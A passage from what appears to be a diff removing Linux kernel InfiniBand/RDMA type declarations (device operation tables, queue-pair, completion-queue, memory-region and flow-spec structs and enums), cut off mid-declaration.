- int (*del_gid)(const struct ib_gid_attr *, void **); - int (*query_pkey)(struct ib_device *, u32, u16, u16 *); - int (*alloc_ucontext)(struct ib_ucontext *, struct ib_udata *); - void (*dealloc_ucontext)(struct ib_ucontext *); - int (*mmap)(struct ib_ucontext *, struct vm_area_struct *); - void (*mmap_free)(struct rdma_user_mmap_entry *); - void (*disassociate_ucontext)(struct ib_ucontext *); - int (*alloc_pd)(struct ib_pd *, struct ib_udata *); - int (*dealloc_pd)(struct ib_pd *, struct ib_udata *); - int (*create_ah)(struct ib_ah *, struct rdma_ah_init_attr *, struct ib_udata *); - int (*create_user_ah)(struct ib_ah *, struct rdma_ah_init_attr *, struct ib_udata *); - int (*modify_ah)(struct ib_ah *, struct rdma_ah_attr *); - int (*query_ah)(struct ib_ah *, struct rdma_ah_attr *); - int (*destroy_ah)(struct ib_ah *, u32); - int (*create_srq)(struct ib_srq *, struct ib_srq_init_attr *, struct ib_udata *); - int (*modify_srq)(struct ib_srq *, struct ib_srq_attr *, enum ib_srq_attr_mask, struct ib_udata *); - int (*query_srq)(struct ib_srq *, struct ib_srq_attr *); - int (*destroy_srq)(struct ib_srq *, struct ib_udata *); - int (*create_qp)(struct ib_qp *, struct ib_qp_init_attr *, struct ib_udata *); - int (*modify_qp)(struct ib_qp *, struct ib_qp_attr *, int, struct ib_udata *); - int (*query_qp)(struct ib_qp *, struct ib_qp_attr *, int, struct ib_qp_init_attr *); - int (*destroy_qp)(struct ib_qp *, struct ib_udata *); - int (*create_cq)(struct ib_cq *, const struct ib_cq_init_attr *, struct ib_udata *); - int (*modify_cq)(struct ib_cq *, u16, u16); - int (*destroy_cq)(struct ib_cq *, struct ib_udata *); - int (*resize_cq)(struct ib_cq *, int, struct ib_udata *); - struct ib_mr * (*get_dma_mr)(struct ib_pd *, int); - struct ib_mr * (*reg_user_mr)(struct ib_pd *, u64, u64, u64, int, struct ib_udata *); - struct ib_mr * (*reg_user_mr_dmabuf)(struct ib_pd *, u64, u64, u64, int, int, struct ib_udata *); - struct ib_mr * (*rereg_user_mr)(struct ib_mr *, int, u64, u64, u64, int, struct ib_pd *, struct ib_udata *); - int (*dereg_mr)(struct ib_mr *, struct ib_udata *); - struct ib_mr * (*alloc_mr)(struct ib_pd *, enum ib_mr_type, u32); - struct ib_mr * (*alloc_mr_integrity)(struct ib_pd *, u32, u32); - int (*advise_mr)(struct ib_pd *, enum ib_uverbs_advise_mr_advice, u32, struct ib_sge *, u32, struct uverbs_attr_bundle *); - int (*map_mr_sg)(struct ib_mr *, struct scatterlist *, int, unsigned int *); - int (*check_mr_status)(struct ib_mr *, u32, struct ib_mr_status *); - int (*alloc_mw)(struct ib_mw *, struct ib_udata *); - int (*dealloc_mw)(struct ib_mw *); - int (*attach_mcast)(struct ib_qp *, union ib_gid *, u16); - int (*detach_mcast)(struct ib_qp *, union ib_gid *, u16); - int (*alloc_xrcd)(struct ib_xrcd *, struct ib_udata *); - int (*dealloc_xrcd)(struct ib_xrcd *, struct ib_udata *); - struct ib_flow * (*create_flow)(struct ib_qp *, struct ib_flow_attr *, struct ib_udata *); - int (*destroy_flow)(struct ib_flow *); - int (*destroy_flow_action)(struct ib_flow_action *); - int (*set_vf_link_state)(struct ib_device *, int, u32, int); - int (*get_vf_config)(struct ib_device *, int, u32, struct ifla_vf_info *); - int (*get_vf_stats)(struct ib_device *, int, u32, struct ifla_vf_stats *); - int (*get_vf_guid)(struct ib_device *, int, u32, struct ifla_vf_guid *, struct ifla_vf_guid *); - int (*set_vf_guid)(struct ib_device *, int, u32, u64, int); - struct ib_wq * (*create_wq)(struct ib_pd *, struct ib_wq_init_attr *, struct ib_udata *); - int (*destroy_wq)(struct ib_wq *, struct ib_udata *); - int (*modify_wq)(struct ib_wq *, struct ib_wq_attr *, u32, struct ib_udata *); - int (*create_rwq_ind_table)(struct ib_rwq_ind_table *, struct ib_rwq_ind_table_init_attr *, struct ib_udata *); - int (*destroy_rwq_ind_table)(struct ib_rwq_ind_table *); - struct ib_dm * (*alloc_dm)(struct ib_device *, struct ib_ucontext *, struct ib_dm_alloc_attr *, struct uverbs_attr_bundle *); - int (*dealloc_dm)(struct ib_dm *, struct uverbs_attr_bundle *); - struct ib_mr * (*reg_dm_mr)(struct ib_pd *, struct ib_dm *, struct ib_dm_mr_attr *, struct uverbs_attr_bundle *); - int (*create_counters)(struct ib_counters *, struct uverbs_attr_bundle *); - int (*destroy_counters)(struct ib_counters *); - int (*read_counters)(struct ib_counters *, struct ib_counters_read_attr *, struct uverbs_attr_bundle *); - int (*map_mr_sg_pi)(struct ib_mr *, struct scatterlist *, int, unsigned int *, struct scatterlist *, int, unsigned int *); - struct rdma_hw_stats * (*alloc_hw_device_stats)(struct ib_device *); - struct rdma_hw_stats * (*alloc_hw_port_stats)(struct ib_device *, u32); - int (*get_hw_stats)(struct ib_device *, struct rdma_hw_stats *, u32, int); - int (*modify_hw_stat)(struct ib_device *, u32, unsigned int, bool); - int (*fill_res_mr_entry)(struct sk_buff *, struct ib_mr *); - int (*fill_res_mr_entry_raw)(struct sk_buff *, struct ib_mr *); - int (*fill_res_cq_entry)(struct sk_buff *, struct ib_cq *); - int (*fill_res_cq_entry_raw)(struct sk_buff *, struct ib_cq *); - int (*fill_res_qp_entry)(struct sk_buff *, struct ib_qp *); - int (*fill_res_qp_entry_raw)(struct sk_buff *, struct ib_qp *); - int (*fill_res_cm_id_entry)(struct sk_buff *, struct rdma_cm_id *); - int (*enable_driver)(struct ib_device *); - void (*dealloc_driver)(struct ib_device *); - void (*iw_add_ref)(struct ib_qp *); - void (*iw_rem_ref)(struct ib_qp *); - struct ib_qp * (*iw_get_qp)(struct ib_device *, int); - int (*iw_connect)(struct iw_cm_id *, struct iw_cm_conn_param *); - int (*iw_accept)(struct iw_cm_id *, struct iw_cm_conn_param *); - int (*iw_reject)(struct iw_cm_id *, const void *, u8); - int (*iw_create_listen)(struct iw_cm_id *, int); - int (*iw_destroy_listen)(struct iw_cm_id *); - int (*counter_bind_qp)(struct rdma_counter *, struct ib_qp *); - int (*counter_unbind_qp)(struct ib_qp *); - int (*counter_dealloc)(struct rdma_counter *); - struct rdma_hw_stats * (*counter_alloc_stats)(struct rdma_counter *); - int (*counter_update_stats)(struct rdma_counter *); - int (*fill_stat_mr_entry)(struct sk_buff *, struct ib_mr *); - int (*query_ucontext)(struct ib_ucontext *, struct uverbs_attr_bundle *); - int (*get_numa_node)(struct ib_device *); - size_t size_ib_ah; - size_t size_ib_counters; - size_t size_ib_cq; - size_t size_ib_mw; - size_t size_ib_pd; - size_t size_ib_qp; - size_t size_ib_rwq_ind_table; - size_t size_ib_srq; - size_t size_ib_ucontext; - size_t size_ib_xrcd; -}; - -struct ib_core_device { - struct device dev; - possible_net_t rdma_net; - struct kobject *ports_kobj; - struct list_head port_list; - struct ib_device *owner; -}; - -enum ib_atomic_cap { - IB_ATOMIC_NONE = 0, - IB_ATOMIC_HCA = 1, - IB_ATOMIC_GLOB = 2, -}; - -struct ib_odp_caps { - uint64_t general_caps; - struct { - uint32_t rc_odp_caps; - uint32_t uc_odp_caps; - uint32_t ud_odp_caps; - uint32_t xrc_odp_caps; - } per_transport_caps; -}; - -struct ib_rss_caps { - u32 supported_qpts; - u32 max_rwq_indirection_tables; - u32 max_rwq_indirection_table_size; -}; - -struct ib_tm_caps { - u32 max_rndv_hdr_size; - u32 max_num_tags; - u32 flags; - u32 max_ops; - u32 max_sge; -}; - -struct ib_cq_caps { - u16 max_cq_moderation_count; - u16 max_cq_moderation_period; -}; - -struct ib_device_attr { - u64 fw_ver; - __be64 sys_image_guid; - u64 max_mr_size; - u64 page_size_cap; - u32 vendor_id; - u32 vendor_part_id; - u32 hw_ver; - int max_qp; - int max_qp_wr; - u64 device_cap_flags; - u64 kernel_cap_flags; - int max_send_sge; - int max_recv_sge; - int max_sge_rd; - int max_cq; - int max_cqe; - int max_mr; - int max_pd; - int max_qp_rd_atom; - int max_ee_rd_atom; - int max_res_rd_atom; - int max_qp_init_rd_atom; - int max_ee_init_rd_atom; - enum ib_atomic_cap atomic_cap; - enum ib_atomic_cap masked_atomic_cap; - int max_ee; - int max_rdd; - int max_mw; - int max_raw_ipv6_qp; - int max_raw_ethy_qp; - int max_mcast_grp; - int max_mcast_qp_attach; - int max_total_mcast_qp_attach; - int max_ah; - int max_srq; - int max_srq_wr; - int max_srq_sge; - unsigned int max_fast_reg_page_list_len; - unsigned int max_pi_fast_reg_page_list_len; - u16 max_pkeys; - u8 local_ca_ack_delay; - int sig_prot_cap; - int sig_guard_cap; - struct ib_odp_caps odp_caps; - uint64_t timestamp_mask; - uint64_t hca_core_clock; - struct ib_rss_caps rss_caps; - u32 max_wq_type_rq; - u32 raw_packet_caps; - struct ib_tm_caps tm_caps; - struct ib_cq_caps cq_caps; - u64 max_dm_size; - u32 max_sgl_rd; -}; - -struct hw_stats_device_data; - -struct rdma_restrack_root; - -struct uapi_definition; - -struct ib_port_data; - -struct ib_device { - struct device *dma_device; - struct ib_device_ops ops; - char name[64]; - struct callback_head callback_head; - struct list_head event_handler_list; - struct rw_semaphore event_handler_rwsem; - spinlock_t qp_open_list_lock; - struct rw_semaphore client_data_rwsem; - struct xarray client_data; - struct mutex unregistration_lock; - rwlock_t cache_lock; - struct ib_port_data *port_data; - int num_comp_vectors; - union { - struct device dev; - struct ib_core_device coredev; - }; - const struct attribute_group *groups[4]; - u64 uverbs_cmd_mask; - char node_desc[64]; - __be64 node_guid; - u32 local_dma_lkey; - u16 is_switch: 1; - u16 kverbs_provider: 1; - u16 use_cq_dim: 1; - u8 node_type; - u32 phys_port_cnt; - struct ib_device_attr attrs; - struct hw_stats_device_data *hw_stats_data; - u32 index; - spinlock_t cq_pools_lock; - struct list_head cq_pools[3]; - struct rdma_restrack_root *res; - const struct uapi_definition *driver_def; - refcount_t refcount; - struct completion unreg_completion; - struct work_struct unregistration_work; - const struct rdma_link_ops *link_ops; - struct mutex compat_devs_mutex; - struct xarray compat_devs; - char iw_ifname[16]; - u32 iw_driver_flags; - u32 lag_flags; -}; - -enum ib_signature_type { - IB_SIG_TYPE_NONE = 0, - IB_SIG_TYPE_T10_DIF = 1, -}; - -enum ib_t10_dif_bg_type { - IB_T10DIF_CRC = 0, - IB_T10DIF_CSUM = 1, -}; - -struct ib_t10_dif_domain { - enum ib_t10_dif_bg_type bg_type; - u16 pi_interval; - u16 bg; - u16 app_tag; - u32 ref_tag; - bool ref_remap; - bool app_escape; - bool ref_escape; - u16 apptag_check_mask; -}; - -struct ib_sig_domain { - enum ib_signature_type sig_type; - union { - struct ib_t10_dif_domain dif; - } sig; -}; - -struct ib_sig_attrs { - u8 check_mask; - struct ib_sig_domain mem; - struct ib_sig_domain wire; - int meta_length; -}; - -enum ib_sig_err_type { - IB_SIG_BAD_GUARD = 0, - IB_SIG_BAD_REFTAG = 1, - IB_SIG_BAD_APPTAG = 2, -}; - -struct ib_sig_err { - enum ib_sig_err_type err_type; - u32 expected; - u32 actual; - u64 sig_err_offset; - u32 key; -}; - -union ib_gid { - u8 raw[16]; - struct { - __be64 subnet_prefix; - __be64 interface_id; - } global; -}; - -enum ib_gid_type { - IB_GID_TYPE_IB = 0, - IB_GID_TYPE_ROCE = 1, - IB_GID_TYPE_ROCE_UDP_ENCAP = 2, - IB_GID_TYPE_SIZE = 3, -}; - -struct ib_gid_attr { - struct net_device *ndev; - struct ib_device *device; - union ib_gid gid; - enum ib_gid_type gid_type; - u16 index; - u32 port_num; -}; - -struct ib_cq_init_attr { - unsigned int cqe; - u32 comp_vector; - u32 flags; -}; - -struct ib_dm_mr_attr { - u64 length; - u64 offset; - u32 access_flags; -}; - -struct ib_dm_alloc_attr { - u64 length; - u32 alignment; - u32 flags; -}; - -enum ib_mtu { - IB_MTU_256 = 1, - IB_MTU_512 = 2, - IB_MTU_1024 = 3, - IB_MTU_2048 = 4, - IB_MTU_4096 = 5, -}; - -enum ib_port_state { - IB_PORT_NOP = 0, - IB_PORT_DOWN = 1, - IB_PORT_INIT = 2, - IB_PORT_ARMED = 3, - IB_PORT_ACTIVE = 4, - IB_PORT_ACTIVE_DEFER = 5, -}; - -struct rdma_stat_desc { - const char *name; - unsigned int flags; - const void *priv; -}; - -struct ib_port_attr { - u64 subnet_prefix; - enum ib_port_state state; - enum ib_mtu max_mtu; - enum ib_mtu active_mtu; - u32 phys_mtu; - int gid_tbl_len; - unsigned int ip_gids: 1; - u32 port_cap_flags; - u32 max_msg_sz; - u32 bad_pkey_cntr; - u32 qkey_viol_cntr; - u16 pkey_tbl_len; - u32 sm_lid; - u32 lid; - u8 lmc; - u8 max_vl_num; - u8 sm_sl; - u8 subnet_timeout; - u8 init_type_reply; - u8 active_width; - u16 active_speed; - u8 phys_state; - u16 port_cap_flags2; -}; - -struct ib_device_modify { - u64 sys_image_guid; - char node_desc[64]; -}; - -struct ib_port_modify { - u32 set_port_cap_mask; - u32 clr_port_cap_mask; - u8 init_type; -}; - -enum ib_event_type { - IB_EVENT_CQ_ERR = 0, - IB_EVENT_QP_FATAL = 1, - IB_EVENT_QP_REQ_ERR = 2, - IB_EVENT_QP_ACCESS_ERR = 3, - IB_EVENT_COMM_EST = 4, - IB_EVENT_SQ_DRAINED = 5, - IB_EVENT_PATH_MIG = 6, - IB_EVENT_PATH_MIG_ERR = 7, - IB_EVENT_DEVICE_FATAL = 8, - IB_EVENT_PORT_ACTIVE = 9, - IB_EVENT_PORT_ERR = 10, - IB_EVENT_LID_CHANGE = 11, - IB_EVENT_PKEY_CHANGE = 12, - IB_EVENT_SM_CHANGE = 13, - IB_EVENT_SRQ_ERR = 14, - IB_EVENT_SRQ_LIMIT_REACHED = 15, - IB_EVENT_QP_LAST_WQE_REACHED = 16, - IB_EVENT_CLIENT_REREGISTER = 17, - IB_EVENT_GID_CHANGE = 18, - IB_EVENT_WQ_FATAL = 19, -}; - -struct ib_ucq_object; - -typedef void (*ib_comp_handler)(struct ib_cq *, void *); - -struct ib_event; - -struct ib_cq { - struct ib_device *device; - struct ib_ucq_object *uobject; - ib_comp_handler comp_handler; - void (*event_handler)(struct ib_event *, void *); - void *cq_context; - int cqe; - unsigned int cqe_used; - atomic_t usecnt; - enum ib_poll_context poll_ctx; - struct ib_wc *wc; - struct list_head pool_entry; - union { - struct irq_poll iop; - struct work_struct work; - }; - struct workqueue_struct *comp_wq; - struct dim *dim; - ktime_t timestamp; - u8 interrupt: 1; - u8 shared: 1; - unsigned int comp_vector; - struct rdma_restrack_entry res; -}; - -struct ib_uqp_object; - -enum ib_qp_type { - IB_QPT_SMI = 0, - IB_QPT_GSI = 1, - IB_QPT_RC = 2, - IB_QPT_UC = 3, - IB_QPT_UD = 4, - IB_QPT_RAW_IPV6 = 5, - IB_QPT_RAW_ETHERTYPE = 6, - IB_QPT_RAW_PACKET = 8, - IB_QPT_XRC_INI = 9, - IB_QPT_XRC_TGT = 10, - IB_QPT_MAX = 11, - IB_QPT_DRIVER = 255, - IB_QPT_RESERVED1 = 4096, - IB_QPT_RESERVED2 = 4097, - IB_QPT_RESERVED3 = 4098, - IB_QPT_RESERVED4 = 4099, - IB_QPT_RESERVED5 = 4100, - IB_QPT_RESERVED6 = 4101, - IB_QPT_RESERVED7 = 4102, - IB_QPT_RESERVED8 = 4103, - IB_QPT_RESERVED9 = 4104, - IB_QPT_RESERVED10 = 4105, -}; - -struct ib_qp_security; - -struct ib_qp { - struct ib_device *device; - struct ib_pd *pd; - struct ib_cq *send_cq; - struct ib_cq *recv_cq; - spinlock_t mr_lock; - int mrs_used; - struct list_head rdma_mrs; - struct list_head sig_mrs; - struct ib_srq *srq; - struct ib_xrcd *xrcd; - struct list_head xrcd_list; - atomic_t usecnt; - struct list_head open_list; - struct ib_qp *real_qp; - struct ib_uqp_object *uobject; - void (*event_handler)(struct ib_event *, void *); - void *qp_context; - const struct ib_gid_attr *av_sgid_attr; - const struct ib_gid_attr *alt_path_sgid_attr; - u32 qp_num; - u32 max_write_sge; - u32 max_read_sge; - enum ib_qp_type qp_type; - struct ib_rwq_ind_table *rwq_ind_tbl; - struct ib_qp_security *qp_sec; - u32 port; - bool integrity_en; - struct rdma_restrack_entry res; - struct rdma_counter *counter; -}; - -struct ib_usrq_object; - -enum ib_srq_type { - IB_SRQT_BASIC = 0, - IB_SRQT_XRC = 1, - IB_SRQT_TM = 2, -}; - -struct ib_srq { - struct ib_device *device; - struct ib_pd *pd; - struct ib_usrq_object *uobject; - void (*event_handler)(struct ib_event *, void *); - void *srq_context; - enum ib_srq_type srq_type; - atomic_t usecnt; - struct { - struct ib_cq *cq; - union { - struct { - struct ib_xrcd *xrcd; - u32 srq_num; - } xrc; - }; - } ext; - struct rdma_restrack_entry res; -}; - -struct ib_uwq_object; - -enum ib_wq_state { - IB_WQS_RESET = 0, - IB_WQS_RDY = 1, - IB_WQS_ERR = 2, -}; - -enum ib_wq_type { - IB_WQT_RQ = 0, -}; - -struct ib_wq { - struct ib_device *device; - struct ib_uwq_object *uobject; - void *wq_context; - void (*event_handler)(struct ib_event *, void *); - struct ib_pd *pd; - struct ib_cq *cq; - u32 wq_num; - enum ib_wq_state state; - enum ib_wq_type wq_type; - atomic_t usecnt; -}; - -struct ib_event { - struct ib_device *device; - union { - struct ib_cq *cq; - struct ib_qp *qp; - struct ib_srq *srq; - struct ib_wq *wq; - u32 port_num; - } element; - enum ib_event_type event; -}; - -struct ib_global_route { - const struct ib_gid_attr *sgid_attr; - union ib_gid dgid; - u32 flow_label; - u8 sgid_index; - u8 hop_limit; - u8 traffic_class; -}; - -struct ib_grh { - __be32 version_tclass_flow; - __be16 paylen; - u8 next_hdr; - u8 hop_limit; - union ib_gid sgid; - union ib_gid dgid; -}; - -struct ib_mr_status { - u32 fail_status; - struct ib_sig_err sig_err; -}; - -struct rdma_ah_init_attr { - struct rdma_ah_attr *ah_attr; - u32 flags; - struct net_device *xmit_slave; -}; - -enum rdma_ah_attr_type { - RDMA_AH_ATTR_TYPE_UNDEFINED = 0, - RDMA_AH_ATTR_TYPE_IB = 1, - RDMA_AH_ATTR_TYPE_ROCE = 2, - RDMA_AH_ATTR_TYPE_OPA = 3, -}; - -struct ib_ah_attr { - u16 dlid; - u8 src_path_bits; -}; - -struct roce_ah_attr { - u8 dmac[6]; -}; - -struct opa_ah_attr { - u32 dlid; - u8 src_path_bits; - bool make_grd; -}; - -struct rdma_ah_attr { - struct ib_global_route grh; - u8 sl; - u8 static_rate; - u32 port_num; - u8 ah_flags; - enum rdma_ah_attr_type type; - union { - struct ib_ah_attr ib; - struct roce_ah_attr roce; - struct opa_ah_attr opa; - }; -}; - -enum ib_wc_status { - IB_WC_SUCCESS = 0, - IB_WC_LOC_LEN_ERR = 1, - IB_WC_LOC_QP_OP_ERR = 2, - IB_WC_LOC_EEC_OP_ERR = 3, - IB_WC_LOC_PROT_ERR = 4, - IB_WC_WR_FLUSH_ERR = 5, - IB_WC_MW_BIND_ERR = 6, - IB_WC_BAD_RESP_ERR = 7, - IB_WC_LOC_ACCESS_ERR = 8, - IB_WC_REM_INV_REQ_ERR = 9, - IB_WC_REM_ACCESS_ERR = 10, - IB_WC_REM_OP_ERR = 11, - IB_WC_RETRY_EXC_ERR = 12, - IB_WC_RNR_RETRY_EXC_ERR = 13, - IB_WC_LOC_RDD_VIOL_ERR = 14, - IB_WC_REM_INV_RD_REQ_ERR = 15, - IB_WC_REM_ABORT_ERR = 16, - IB_WC_INV_EECN_ERR = 17, - IB_WC_INV_EEC_STATE_ERR = 18, - IB_WC_FATAL_ERR = 19, - IB_WC_RESP_TIMEOUT_ERR = 20, - IB_WC_GENERAL_ERR = 21, -}; - -enum ib_wc_opcode { - IB_WC_SEND = 0, - IB_WC_RDMA_WRITE = 1, - IB_WC_RDMA_READ = 2, - IB_WC_COMP_SWAP = 3, - IB_WC_FETCH_ADD = 4, - IB_WC_BIND_MW = 5, - IB_WC_LOCAL_INV = 6, - IB_WC_LSO = 7, - IB_WC_REG_MR = 8, - IB_WC_MASKED_COMP_SWAP = 9, - IB_WC_MASKED_FETCH_ADD = 10, - IB_WC_RECV = 128, - IB_WC_RECV_RDMA_WITH_IMM = 129, -}; - -struct ib_cqe { - void (*done)(struct ib_cq *, struct ib_wc *); -}; - -struct ib_wc { - union { - u64 wr_id; - struct ib_cqe *wr_cqe; - }; - enum ib_wc_status status; - enum ib_wc_opcode opcode; - u32 vendor_err; - u32 byte_len; - struct ib_qp *qp; - union { - __be32 imm_data; - u32 invalidate_rkey; - } ex; - u32 src_qp; - u32 slid; - int wc_flags; - u16 pkey_index; - u8 sl; - u8 dlid_path_bits; - u32 port_num; - u8 smac[6]; - u16 vlan_id; - u8 network_hdr_type; -}; - -struct ib_srq_attr { - u32 max_wr; - u32 max_sge; - u32 srq_limit; -}; - -struct ib_xrcd { - struct ib_device *device; - atomic_t usecnt; - struct inode *inode; - struct rw_semaphore tgt_qps_rwsem; - struct xarray tgt_qps; -}; - -struct ib_srq_init_attr { - void (*event_handler)(struct ib_event *, void *); - void *srq_context; - struct ib_srq_attr attr; - enum ib_srq_type srq_type; - struct { - struct ib_cq *cq; - union { - struct { - struct ib_xrcd *xrcd; - } xrc; - struct { - u32 max_num_tags; - } tag_matching; - }; - } ext; -}; - -struct ib_qp_cap { - u32 max_send_wr; - u32 max_recv_wr; - u32 max_send_sge; - u32 max_recv_sge; - u32 max_inline_data; - u32 max_rdma_ctxs; -}; - -enum ib_sig_type { - IB_SIGNAL_ALL_WR = 0, - IB_SIGNAL_REQ_WR = 1, -}; - -struct ib_qp_init_attr { - void (*event_handler)(struct ib_event *, void *); - void *qp_context; - struct ib_cq *send_cq; - struct ib_cq *recv_cq; - struct ib_srq *srq; - struct ib_xrcd *xrcd; - struct ib_qp_cap cap; - enum ib_sig_type sq_sig_type; - enum ib_qp_type qp_type; - u32 create_flags; - u32 port_num; - struct ib_rwq_ind_table *rwq_ind_tbl; - u32 source_qpn; -}; - -struct ib_uobject; - -struct ib_rwq_ind_table { - struct ib_device *device; - struct ib_uobject *uobject; - atomic_t usecnt; - u32 ind_tbl_num; - u32 log_ind_tbl_size; - struct ib_wq **ind_tbl; -}; - -enum ib_qp_state { - IB_QPS_RESET = 0, - IB_QPS_INIT = 1, - IB_QPS_RTR = 2, - IB_QPS_RTS = 3, - IB_QPS_SQD = 4, - IB_QPS_SQE = 5, - IB_QPS_ERR = 6, -}; - -enum ib_mig_state { - IB_MIG_MIGRATED = 0, - IB_MIG_REARM = 1, - IB_MIG_ARMED = 2, -}; - -enum ib_mw_type { - IB_MW_TYPE_1 = 1, - IB_MW_TYPE_2 = 2, -}; - -struct ib_qp_attr { - enum ib_qp_state qp_state; - enum ib_qp_state cur_qp_state; - enum ib_mtu path_mtu; - enum ib_mig_state path_mig_state; - u32 qkey; - u32 rq_psn; - u32 sq_psn; - u32 dest_qp_num; - int qp_access_flags; - struct ib_qp_cap cap; - struct rdma_ah_attr ah_attr; - struct rdma_ah_attr alt_ah_attr; - u16 pkey_index; - u16 alt_pkey_index; - u8 en_sqd_async_notify; - u8 sq_draining; - u8 max_rd_atomic; - u8 max_dest_rd_atomic; - u8 min_rnr_timer; - u32 port_num; - u8 timeout; - u8 retry_cnt; - u8 rnr_retry; - u32 alt_port_num; - u8 alt_timeout; - u32 rate_limit; - struct net_device *xmit_slave; -}; - -enum ib_wr_opcode { - IB_WR_RDMA_WRITE = 0, - IB_WR_RDMA_WRITE_WITH_IMM = 1, - IB_WR_SEND = 2, - IB_WR_SEND_WITH_IMM = 3, - IB_WR_RDMA_READ = 4, - IB_WR_ATOMIC_CMP_AND_SWP = 5, - IB_WR_ATOMIC_FETCH_AND_ADD = 6, - IB_WR_BIND_MW = 8, - IB_WR_LSO = 10, - IB_WR_SEND_WITH_INV = 9, - IB_WR_RDMA_READ_WITH_INV = 11, - IB_WR_LOCAL_INV = 7, - IB_WR_MASKED_ATOMIC_CMP_AND_SWP = 12, - IB_WR_MASKED_ATOMIC_FETCH_AND_ADD = 13, - IB_WR_REG_MR = 32, - IB_WR_REG_MR_INTEGRITY = 33, - IB_WR_RESERVED1 = 240, - IB_WR_RESERVED2 = 241, - IB_WR_RESERVED3 = 242, - IB_WR_RESERVED4 = 243, - IB_WR_RESERVED5 = 244, - IB_WR_RESERVED6 = 245, - IB_WR_RESERVED7 = 246, - IB_WR_RESERVED8 = 247, - IB_WR_RESERVED9 = 248, - IB_WR_RESERVED10 = 249, -}; - -struct ib_sge { - u64 addr; - u32 length; - u32 lkey; -}; - -struct ib_send_wr { - struct ib_send_wr *next; - union { - u64 wr_id; - struct ib_cqe *wr_cqe; - }; - struct ib_sge *sg_list; - int num_sge; - enum ib_wr_opcode opcode; - int send_flags; - union { - __be32 imm_data; - u32 invalidate_rkey; - } ex; -}; - -struct ib_ah { - struct ib_device *device; - struct ib_pd *pd; - struct ib_uobject *uobject; - const struct ib_gid_attr *sgid_attr; - enum rdma_ah_attr_type type; -}; - -struct ib_mr { - struct ib_device *device; - struct ib_pd *pd; - u32 lkey; - u32 rkey; - u64 iova; - u64 length; - unsigned int page_size; - enum ib_mr_type type; - bool need_inval; - union { - struct ib_uobject *uobject; - struct list_head qp_entry; - }; - struct ib_dm *dm; - struct ib_sig_attrs *sig_attrs; - struct rdma_restrack_entry res; -}; - -struct ib_recv_wr { - struct ib_recv_wr *next; - union { - u64 wr_id; - struct ib_cqe *wr_cqe; - }; - struct ib_sge *sg_list; - int num_sge; -}; - -struct ib_rdmacg_object {}; - -struct ib_uverbs_file; - -struct ib_ucontext { - struct ib_device *device; - struct ib_uverbs_file *ufile; - struct ib_rdmacg_object cg_obj; - struct rdma_restrack_entry res; - struct xarray mmap_xa; -}; - -struct uverbs_api_object; - -struct ib_uobject { - u64 user_handle; - struct ib_uverbs_file *ufile; - struct ib_ucontext *context; - void *object; - struct list_head list; - struct ib_rdmacg_object cg_obj; - int id; - struct kref ref; - atomic_t usecnt; - struct callback_head rcu; - const struct uverbs_api_object *uapi_object; -}; - -struct ib_udata { - const void *inbuf; - void *outbuf; - size_t inlen; - size_t outlen; -}; - -struct ib_pd { - u32 local_dma_lkey; - u32 flags; - struct ib_device *device; - struct ib_uobject *uobject; - atomic_t usecnt; - u32 unsafe_global_rkey; - struct ib_mr *__internal_mr; - struct rdma_restrack_entry res; -}; - -struct ib_wq_init_attr { - void *wq_context; - enum ib_wq_type wq_type; - u32 max_wr; - u32 max_sge; - struct ib_cq *cq; - void (*event_handler)(struct ib_event *, void *); - u32 create_flags; -}; - -struct ib_wq_attr { - enum ib_wq_state wq_state; - enum ib_wq_state curr_wq_state; - u32 flags; - u32 flags_mask; -}; - -struct ib_rwq_ind_table_init_attr { - u32 log_ind_tbl_size; - struct ib_wq **ind_tbl; -}; - -enum port_pkey_state { - IB_PORT_PKEY_NOT_VALID = 0, - IB_PORT_PKEY_VALID = 1, - IB_PORT_PKEY_LISTED = 2, -}; - -struct ib_port_pkey { - enum port_pkey_state state; - u16 pkey_index; - u32 port_num; - struct list_head qp_list; - struct list_head to_error_list; - struct ib_qp_security *sec; -}; - -struct ib_ports_pkeys; - -struct ib_qp_security { - struct ib_qp *qp; - struct ib_device *dev; - struct mutex mutex; - struct ib_ports_pkeys *ports_pkeys; - struct list_head shared_qp_list; - void *security; - bool destroying; - atomic_t error_list_count; - struct completion error_complete; - int error_comps_pending; -}; - -struct ib_ports_pkeys { - struct ib_port_pkey main; - struct ib_port_pkey alt; -}; - -struct ib_dm { - struct ib_device *device; - u32 length; - u32 flags; - struct ib_uobject *uobject; - atomic_t usecnt; -}; - -struct ib_mw { - struct ib_device *device; - struct ib_pd *pd; - struct ib_uobject *uobject; - u32 rkey; - enum ib_mw_type type; -}; - -enum ib_flow_attr_type { - IB_FLOW_ATTR_NORMAL = 0, - IB_FLOW_ATTR_ALL_DEFAULT = 1, - IB_FLOW_ATTR_MC_DEFAULT = 2, - IB_FLOW_ATTR_SNIFFER = 3, -}; - -enum ib_flow_spec_type { - IB_FLOW_SPEC_ETH = 32, - IB_FLOW_SPEC_IB = 34, - IB_FLOW_SPEC_IPV4 = 48, - IB_FLOW_SPEC_IPV6 = 49, - IB_FLOW_SPEC_ESP = 52, - IB_FLOW_SPEC_TCP = 64, - IB_FLOW_SPEC_UDP = 65, - IB_FLOW_SPEC_VXLAN_TUNNEL = 80, - IB_FLOW_SPEC_GRE = 81, - IB_FLOW_SPEC_MPLS = 96, - IB_FLOW_SPEC_INNER = 256, - IB_FLOW_SPEC_ACTION_TAG = 4096, - IB_FLOW_SPEC_ACTION_DROP = 4097, - IB_FLOW_SPEC_ACTION_HANDLE = 4098, - IB_FLOW_SPEC_ACTION_COUNT = 4099, -}; - -struct ib_flow_eth_filter { - u8 dst_mac[6]; - u8 src_mac[6]; - __be16 ether_type; - __be16 vlan_tag; - u8 real_sz[0]; -}; - -struct ib_flow_spec_eth { - u32 type; - u16 size; - struct ib_flow_eth_filter val; - struct ib_flow_eth_filter mask; -}; - -struct ib_flow_ib_filter { - __be16 dlid; - __u8 sl; - u8 real_sz[0]; -}; - -struct ib_flow_spec_ib { - u32 type; - u16 size; - struct ib_flow_ib_filter val; - struct ib_flow_ib_filter mask; -}; - -struct ib_flow_ipv4_filter { - __be32 src_ip; - __be32 dst_ip; - u8 proto; - u8 tos; - u8 ttl; - u8 flags; - u8 real_sz[0]; -}; - -struct ib_flow_spec_ipv4 { - u32 type; - u16 size; - struct ib_flow_ipv4_filter val; - struct ib_flow_ipv4_filter mask; -}; - -struct ib_flow_ipv6_filter { - u8 src_ip[16]; - u8 dst_ip[16]; - __be32 flow_label; - u8 next_hdr; - u8 traffic_class; - u8 hop_limit; - u8 real_sz[0]; -}; - -struct ib_flow_spec_ipv6 { - 